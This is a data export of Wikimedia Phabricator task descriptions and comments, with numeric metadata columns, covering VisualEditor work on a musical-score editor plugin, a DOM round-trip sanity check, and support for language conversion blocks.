**Severity**: enhancement",Medium,50.0,1366688580,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_description,open,True,c1,1,True,False,,-10,,1.0,0.0,0.5,1.0,1.0,6.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.5,5.5,7.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,8.5,1.0,2.0,7.5,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,1.0,0.0,0.0,0.0,4.192982456140351,0.7719298245614035,"As a VisualEditor plugin inside the extension, provide a visual way for users to create and edit musical scores.

This would be a (very) major undertaking, even if there is an existing JavaScript-based visual Lilypond score editor, or failing that, a visual score editor with a different output format which would need to be converted to Lilypond. A brief search found a few promising leads for ABC editors, but mostly based in Flash.

Still, hopefully not just a pipedream. :-)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
639611,Create a VisualEditor plugin tool to add/edit musical scores,"Note that as of November 2015 there is a nice previewing editor for Scores, but it's still based on the Lilypond or ABC source format rather than a visual one.",,,1459667871,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,True,,,143,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,18.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.9393939393939394,0.9696969696969697,"Note that as of November 2015 there is a nice previewing editor for Scores, but it's still based on the Lilypond or ABC source format rather than a visual one."
404863,Create a VisualEditor plugin tool to add/edit musical scores,">>! In T49528#1003822, @Tgr wrote:
> Just adding a text editor with a preview button, like e.g. [[ http://lilybin.com/ | lilybin.com ]] does it, does not sound that hard.

Indeed, but this task is asking for a visual drag-and-drop sheet music editor.

> I wonder if that could even be a generic fallback option for tag-based parser extensions without a dedicated editor plugin.

That's already provided in VisualEditor.",,,1422635139,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.757575757575758,0.8181818181818182,"QUOTE
QUOTE

Indeed, but this task is asking for a visual drag-and-drop sheet music editor.

QUOTE

That's already provided in VisualEditor."
404761,Create a VisualEditor plugin tool to add/edit musical scores,"Just adding a text editor with a preview button, like e.g. [[ http://lilybin.com/ | lilybin.com ]] does it, does not sound that hard. I wonder if that could even be a generic fallback option for tag-based parser extensions without a dedicated editor plugin.",,,1422602902,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,6.0,3.9019607843137254,0.803921568627451,"Just adding a text editor with a preview button, like e.g. [[ URL | lilybin.com ]] does it, does not sound that hard. I wonder if that could even be a generic fallback option for tag-based parser extensions without a dedicated editor plugin."
218790,Create a VisualEditor plugin tool to add/edit musical scores,"See also
http://lists.wikimedia.org/pipermail/wikitech-l/2013-June/069973.html",,,1371406501,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"See also
URL"
49521,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"On VE load, do an ""originalHtml == serialise(linmod(originalHtml)"" or whatever and fail out of the VE if false; ideally, also allow the user to submit a failure report for debugging purposes (this will need to get checked through with legal).

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1366667700,1372387346.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-inty44ufbm7rwhc55mom,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,7.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,4.029411764705882,0.7647058823529411,"On VE load, do an ""originalHtml == serialise(linmod(originalHtml)"" or whatever and fail out of the VE if false; ideally, also allow the user to submit a failure report for debugging purposes (this will need to get checked through with legal).

--------------------------
**Version**: unspecified
**Severity**: major"
218428,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Written and about to be deployed.,,,1372387346,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Written and about to be deployed.
218420,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Change 70106 merged by jenkins-bot:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

https://gerrit.wikimedia.org/r/70106",,,1372387306,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9523809523809523,"Change 70106 merged by jenkins-bot:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

GERRIT_URL"
218414,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Change 70106 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

https://gerrit.wikimedia.org/r/70106",,,1372381883,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9583333333333334,"Change 70106 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Add sanity check for DOM roundtrip

GERRIT_URL"
218405,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Any news on this? 

Having some automated general sanity checks on the returned wikitext (for example size, check if it starts with a doctype) would also be good, especially now that users don't see a diff by default any more. If any of the automated sanity checks fail, you should probably ask the user to review changes before saving. This should catch most major article corruption issues before they happen.",,,1371496468,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,True,,,-2,,5.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,17.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,5.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,1.0,1.0,0.0,4.222222222222222,0.8271604938271605,"Any news on this? 

Having some automated general sanity checks on the returned wikitext (for example size, check if it starts with a doctype) would also be good, especially now that users don't see a diff by default any more. If any of the automated sanity checks fail, you should probably ask the user to review changes before saving. This should catch most major article corruption issues before they happen."
218394,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Pulling.,,,1370449877,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,4.0,1.0,Pulling.
218385,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Roan's offered to do this one on his flight. Marking as such.,,,1368766983,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.3333333333333335,0.9333333333333333,Roan's offered to do this one on his flight. Marking as such.
218379,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"We are diffing on the DOM on the way in, but while debugging a text diff is useful too.

Order preservation is not guaranteed in the DOM4 spec afaik, but is implemented and supported nevertheless using the attributes collection and numerical indexing: https://developer.mozilla.org/en-US/docs/DOM/Node.attributes",,,1367265092,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,8.0,10.0,2.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.458333333333333,0.7916666666666666,"We are diffing on the DOM on the way in, but while debugging a text diff is useful too.

Order preservation is not guaranteed in the DOM4 spec afaik, but is implemented and supported nevertheless using the attributes collection and numerical indexing: URL"
218374,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"We wouldn't be doing string-based comparisons, we'd be doing DOM-based comparisons. That's what Parsoid should be doing too, IMO.

If comparisons are DOM-based, quoting style and attribute order don't matter. In general, I don't believe there's a way to read or write attribute order in the DOM.",,,1367264016,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,3.0,6.0,0.0,0.0,1.0,4.0,0.0,7.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,15.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,6.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,6.0,0.0,0.0,0.0,3.676470588235294,0.6470588235294118,"We wouldn't be doing string-based comparisons, we'd be doing DOM-based comparisons. That's what Parsoid should be doing too, IMO.

If comparisons are DOM-based, quoting style and attribute order don't matter. In general, I don't believe there's a way to read or write attribute order in the DOM."
218370,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"A common issue currently is changes in attribute order and a change of quoting style for JSON attributes. It would be great if VE could preserve the order of attributes. 

For the quoting, we have some smart quoting code that you could reuse. Alternatively, you can compare the innerHTML of the original DOM with the exported DOM as that implicitly changes JSON attribute quoting to the verbose style.",,,1367256333,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-9,,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,4.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,3.0,12.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,4.453333333333333,0.68,"A common issue currently is changes in attribute order and a change of quoting style for JSON attributes. It would be great if VE could preserve the order of attributes. 

For the quoting, we have some smart quoting code that you could reuse. Alternatively, you can compare the innerHTML of the original DOM with the exported DOM as that implicitly changes JSON attribute quoting to the verbose style."
49411,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","The ""language conversion blocks"" are a wikitext feature that allow users to define text content in parallel scripts. The most high profile is in Chinese, which has two major writing systems and automated conversion between them, but there are 28 others, some of which are not automated conversion (so VE will need to not just mark the text with an appropriate <span>, but allow the user to understand when they have edited text that needs editing twice or thrice (possibly in scripts they cannot/do not want to use?) - see https://meta.wikimedia.org/wiki/Wikipedias_in_multiple_writing_systems

Documentation of the feature (focussed on the syntax) is here: https://www.mediawiki.org/wiki/Writing_systems/Syntax

Parsoid will need to add support for this first, which is {T43716}.",Medium,50.0,1366380120,1513281041.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_description,resolved,True,c1,1,True,False,False,-11,,0.5,0.0,0.0,0.5,1.5,2.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,7.0,8.5,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,6.5,1.5,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,12.5,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.5,4.5,3.5,5.5,0.5,2.5,7.5,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,2.0,8.5,4.5,0.5,1.0,0.0,2.0,0.0,3.5,1.0,0.5,0.5,0.0,0.5,0.5,4.0,0.8188405797101449,"The ""language conversion blocks"" are a wikitext feature that allow users to define text content in parallel scripts. The most high profile is in Chinese, which has two major writing systems and automated conversion between them, but there are 28 others, some of which are not automated conversion (so VE will need to not just mark the text with an appropriate <span>, but allow the user to understand when they have edited text that needs editing twice or thrice (possibly in scripts they cannot/do not want to use?) - see URL

Documentation of the feature (focussed on the syntax) is here: URL

Parsoid will need to add support for this first, which is {T43716}."
982345,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",">>! In T49411#3691289, @Deskana wrote:
> I believe there's still more outstanding here, right?

Yes, see  {T43716} - phase 1 support is complete, which brings VE to parity with the PHP parser -- in both cases, as soon as you start to edit the page you're confronted with the raw un-converted text (not the text in your preferred variant).

VE can do better (in theory) -- that's ""phase 3"" of T43716.  But that's probably another bug.  Since VE is now at parity with PHP source editing, I think this task can be resolved, and we'll open specific bugs for deficiencies in the current UX (ie, T182910).  I'll open a new task for the VE side of Parsoid's phase 3, once we get there, but that's a new feature.",,,1513281041,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,232,,0.0,0.0,0.0,0.5,0.5,5.5,1.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.5,0.0,4.0,9.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,5.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,12.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,10.5,1.5,2.0,8.5,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,4.0,9.5,6.5,0.0,1.0,0.0,4.0,0.0,0.5,1.5,0.0,0.5,0.5,0.0,0.5,3.284049284049284,0.7225274725274725,"QUOTE
QUOTE

Yes, see  {T43716} - phase 1 support is complete, which brings VE to parity with the PHP parser -- in both cases, as soon as you start to edit the page you're confronted with the raw un-converted text (not the text in your preferred variant).

VE can do better (in theory) -- that's ""phase 3"" of T43716.  But that's probably another bug.  Since VE is now at parity with PHP source editing, I think this task can be resolved, and we'll open specific bugs for deficiencies in the current UX (ie, T182910).  I'll open a new task for the VE side of Parsoid's phase 3, once we get there, but that's a new feature."
949474,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","I believe there's still more outstanding here, right?",,,1508260389,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,224,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.181818181818182,1.0,"I believe there's still more outstanding here, right?"
931227,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 361921 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Inspectors for editing LanguageConverter markup

[[https://gerrit.wikimedia.org/r/361921]]
",,,1505493098,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,219,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,4.821428571428571,0.7857142857142857,"Change 361921 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Inspectors for editing LanguageConverter markup

[[GERRIT_URL]]
"
911161,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 358396 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Context item for LanguageConverter markup

[[https://gerrit.wikimedia.org/r/358396]]
",,,1502461750,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,214,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.607142857142857,0.7857142857142857,"Change 358396 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Context item for LanguageConverter markup

[[GERRIT_URL]]
"
900789,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 356739 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Display LanguageConverter markup in VisualEditor

[[https://gerrit.wikimedia.org/r/356739]]
",,,1500998488,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,False,,,212,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.857142857142857,0.7857142857142857,"Change 356739 merged by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Display LanguageConverter markup in VisualEditor

[[GERRIT_URL]]
"
